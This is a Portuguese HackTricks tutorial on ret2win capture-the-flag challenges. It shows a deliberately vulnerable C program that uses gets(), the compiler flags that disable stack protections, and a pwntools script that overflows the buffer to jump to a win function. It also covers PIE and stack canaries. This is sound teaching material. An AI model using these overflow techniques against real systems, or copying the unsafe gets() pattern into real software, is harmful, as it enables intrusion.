hacktricks/binary-exploitation/stack-overflow/ret2win.md

7.7 KiB

Ret2win

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Os desafios Ret2win são uma categoria popular em competições de Capture The Flag (CTF), especialmente em tarefas que envolvem exploração binária. O objetivo é explorar uma vulnerabilidade em um binário fornecido para executar uma função específica e não solicitada dentro do binário, geralmente chamada de win, flag, etc. Essa função, quando executada, geralmente imprime uma bandeira ou uma mensagem de sucesso. O desafio geralmente envolve sobrescrever o endereço de retorno na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:

Exemplo em C

Considere um programa C simples com uma vulnerabilidade e uma função win que pretendemos chamar:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Para compilar este programa sem proteções de pilha e com ASLR desativado, você pode usar o seguinte comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Compilar o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).
  • -fno-stack-protector: Desativar proteções contra estouro de pilha.
  • -z execstack: Permitir a execução de código na pilha.
  • -no-pie: Desativar Executável Independente de Posição para garantir que o endereço da função win não mude.
  • -o vulnerable: Nomear o arquivo de saída como vulnerable.

Exploração em Python usando Pwntools

Para a exploração, vamos usar o pwntools, um framework CTF poderoso para escrever exploits. O script de exploit criará um payload para estourar o buffer e sobrescrever o endereço de retorno com o endereço da função win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Para encontrar o endereço da função win, você pode usar gdb, objdump, ou qualquer outra ferramenta que permita inspecionar arquivos binários. Por exemplo, com objdump, você poderia usar:

objdump -d vulnerable | grep win

Este comando mostrará o assembly da função win, incluindo o seu endereço de início.

O script Python envia uma mensagem cuidadosamente elaborada que, ao ser processada pela vulnerable_function, causa um estouro de buffer e sobrescreve o endereço de retorno na pilha com o endereço de win. Quando a vulnerable_function retorna, em vez de retornar para main ou sair, ela salta para win e a mensagem é impressa.

Proteções

  • PIE deve ser desativado para que o endereço seja confiável em execuções futuras, caso contrário, o endereço onde a função será armazenada não será sempre o mesmo e seria necessário algum vazamento para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o estouro é read ou similar, você pode fazer uma Sobrescrita Parcial de 1 ou 2 bytes para alterar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma chance de 1/16 (1 nibble) de obter o endereço de retorno correto.
  • Canários de Pilha também devem ser desativados, caso contrário, o endereço de retorno comprometido do EIP nunca será seguido.

Outros exemplos e Referências